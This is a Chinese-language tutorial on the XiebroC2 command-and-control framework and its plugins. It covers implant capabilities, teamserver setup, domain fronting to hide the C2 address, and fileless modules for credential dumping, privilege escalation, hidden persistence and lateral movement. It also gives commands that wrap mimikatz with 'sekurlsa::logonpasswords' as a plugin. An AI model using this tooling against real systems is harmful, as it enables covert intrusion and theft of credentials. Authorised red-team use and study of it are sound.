项目地址
项目源码托管在 GitHub,地址为:https://github.com/INotGreen/XiebroC2。
主要功能
XiebroC2 是一个功能强大的命令与控制 (C2) 框架,其主要特性如下:
- 植入端 (Implant):使用 Golang 编写,兼容 Windows、Linux、MacOS(移动平台正在考虑未来更新)。
- 团队服务器 (Teamserver):使用 .NET 6.0 编写,不依赖 .NET Core 环境即可独立运行。
- 控制器 (Controller):功能全面,支持反向 shell、文件管理、进程管理、网络流量监控、内存加载、反向代理、屏幕截图、进程注入和迁移。还能检测 AV/EDR 进程,执行内联 PowerShell 命令。
- 内存加载PE文件:支持在 Windows / Linux 系统上于内存中直接加载可执行文件 (PE),对应命令为
inline-execute 和 inline-execute-bin。
- 内存执行.NET程序集:支持通过
execute-assembly(创建子进程)和 inline-assembly(内联)两种方式在内存中执行 .NET 程序集。
- 脚本扩展:支持通过 Lua 脚本扩展命令中心以及菜单栏,这与 Cobalt Strike 的 CNA 脚本扩展思路类似。
- 自定义 Shellcode:支持自定义 RDI shellcode(目前仅限 64 位,32位需手动编译客户端)。用户也可以利用
donut 或 Godonut 等工具生成自己的 shellcode 进行加载。
- 通知集成:通过修改
profile.json 配置文件中的 Chat ID 和 API Token 参数,可以设置 Telegram 机器人来接收主机上线通知。
对于想在实战中深入应用 C2 框架的朋友,可以参考云栈社区中关于渗透测试与工具使用的相关讨论。
支持的平台
Implant (Session)
- Windows:支持 win7 至 win11,以及 Windows Server 2008 至 2022。
- Linux:支持 glibc 2.17 以上的系统,如 Ubuntu、Debian、CentOS 等。
- MacOS:支持 10.15 及以上版本。
为了获得更好的兼容性,官方建议使用 Go 1.20 进行编译。值得注意的是,Go 1.20 以上版本已不再支持 Windows 7、Windows Server 2008 和一些陈旧的 Linux 系统。此外,XiebroC2 当前的 payload 仅支持 x64 架构。如果你需要让更老的系统上线,需要自行下载源码,并将 Go 的编译版本降至 1.19 或 1.16 以下。
Teamserver
- Windows:支持 win8 至 win11,以及 Windows Server 2012 至 2022。
- Linux:支持 glibc 2.17 以上的系统。
图片展示
命令列表

内存加载Mimikatz

文件管理

反向代理

网络拓扑
通过可视化拓扑图可以清晰地查看当前网络中的会话分布与连接关系。


如何使用
1. 配置文件生成
首先,根据你的系统架构分别下载适配的服务端文件 (Teamserver) 和控制端 (XiebroC2.exe)。
启动服务端并生成默认的 profile.json 配置文件:
Teamserver.exe -g
控制台会输出:The original profile.json was successfully generated!
你也可以查看帮助信息:
Teamserver.exe -h
接下来,你需要修改生成的 profile.json 文件,将 "TeamServerIP"(在示例中为 "Host" 字段)修改为你 VPS 的真实 IP 地址。一个典型的配置文件内容如下:
{
"Banner": "3.2",
"Host": "10.10.55.4",
"wsPort": "8880",
"Password": "123456",
"Accouts": ["admin", "User", "super"],
"StagerPort": "4050",
"Telegram_Token": "",
"Telegram_chat_ID": "",
"Fork": true,
"Route": "www",
"AesKey": "QWERt_CSDMAHUATW",
"Process64": "C:\\windows\\system32\\notepad.exe",
"Process86": "C:\\Windows\\SysWOW64\\notepad.exe",
"WebServers": [],
"listeners": [],
"proxys": [],
"rdiShellcode32": "",
"rdiShellcode64": ""
}
2. 服务端启动
在启动服务端前,请确保相关端口已开放:
使用配置文件启动 Teamserver:
Teamserver.exe -c profile.json
3. 控制端登录(目前只支持Windows)
运行 XiebroC2.exe 打开控制端,登录界面所需的参数均来自 profile.json 文件:
- Host -> 配置文件中的
Host 字段
- Port -> 配置文件中的
wsPort 字段
- User -> 配置文件
Accouts 数组中的任意一个账户名
- Pass -> 配置文件中的
Password 字段
- Key -> 配置文件中的
AesKey 字段(必须是 16 位)
4. 添加监听器
登录成功后,在菜单栏选择 攻击 -> 监听器 -> 添加,然后选择合适的 payload 类型并配置相关参数。
5. CDN/域前置上线
为了隐藏真实的 C2 IP 地址,可以使用 CDN 或域前置技术。在有 CDN 的情况下,添加监听器时,在 Host 处填写你的 CDN 域名,payload 选择 Reverse_Ws,端口建议设置为 8080(许多 CDN 对该端口有较好的流量回溯支持)。注意,域名的长度不要超过 40 位。
由于采用 WebSocket 进行实时通信,即使中间 CDN 节点自动切换,XiebroC2 的客户端也会实时响应上线和掉线,但这通常不会影响正常的通信。

XiebroC2插件使用——Xiebro-Plugins
下载地址
插件仓库同样位于 GitHub,你可以通过以下命令克隆:
git clone https://github.com/INotGreen/Xiebro-Plugins.git
加载与使用
在控制端界面,选择 Manage -> Plugins -> Load,然后加载 main.lua 脚本即可。载入插件后,你会在会话中获得更多强大的扩展命令。

内置工具
目前插件已集成了以下安全工具,并且全部采用无文件落地的内存加载方式执行,极大增强了隐蔽性。
| 工具 |
描述 |
| fscan |
内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 |
| mimikatz |
从内存中提取明文密码、哈希、PIN 码和 Kerberos 票证 |
| RegHide |
添加隐藏注册表启动项 |
| SharpKatz |
mimikatz的C#版本,用于获取明文密码和dcsync |
| SharpScan |
内网资产收集、探测主机存活、端口扫描、域控定位、文件搜索、密码爆破和账号枚举 |
| SharpToken |
Token窃取,切换System和administrator权限,用于提权降权场景 |
| SweetPotato |
将服务器权限提升至System权限 |
| SharpWMI |
基于135端口的横向移动工具,可以执行命令,上传文件 |
| BadPotato |
将服务器权限提升至System权限 |
| GodPotato |
将服务器权限提升至System权限 |
插件开发:如何添加自定义命令
XiebroC2 的插件系统设计得非常简洁,几乎只需一行代码你就可以为它添加一个外部命令。官方提供了一个名为 Convert.ps1 的 PowerShell 脚本,可以直接将 C/C++/Go/Rust/.NET 等可执行文件 (PE) 或二进制文件 (Bin) 转换为可直接调用的 Lua 脚本。
使用方法如下:
Import-Module .\Convert.ps1
Convert-ExeToBase64Lua -i "C:\Users\admin\Desktop\mimikatz.exe" -o "mimikatz.lua" -Command "Mimikatz" -LoadModule "inline-execute" -Description "Get windows password credentials" -Usage "Mimikatz <args>"
参数解释
-i: 选择输入的文件
-o: 输出的文件
-Command: 命令的名称
-LoadModule: 加载模式
-Description: 描述
-Usage: 使用方法
在生成的 Lua 脚本中,用于添加外部命令的核心函数主要有两个:
AddCommand_A: 此函数会预先打包好可执行文件的运行参数。例如,你可以直接创建一个名为 logonpasswords 的命令来运行 Mimikatz 并执行特定参数。
AddCommand_A(
"logonpasswords", -- 命令名称
mimikatz, -- Base64压缩后的可执行文件数据
"privilege::debug sekurlsa::logonpasswords exit", -- exe的参数
"inline-execute", -- 加载模式
"Get password credentials on windows", -- 命令描述
"logonpasswords" -- 使用方法
);
AddCommand_W: 如果不需要预定义参数,则使用此函数。命令执行时需要在命令行手动提供参数。
AddCommand_W(
"mimikatz",
mimikatz,
"inline-execute",
"Get password credentials on windows",
"mimikatz <args>"
);
加载模式 (LoadModule) 说明
插件支持四种不同的内存加载模式,以适应不同类型的可执行文件:
inline-execute -- 内联加载 C/C++/Go/Rust 编译的 exe 文件
inline-execute-bin -- 内联加载 C/C++/Go/Rust 编译的 bin 文件
inline-assembly -- 内联加载 .NET 程序集文件
execute-assembly -- 采用 Fork&&Run 模式(创建子进程)进行内存加载 .NET 文件
通过这种方式,你可以轻松地将任何现有的安全工具集成到 XiebroC2 框架中,实现一体化的开源实战操作流程,提升渗透测试的效率与隐蔽性。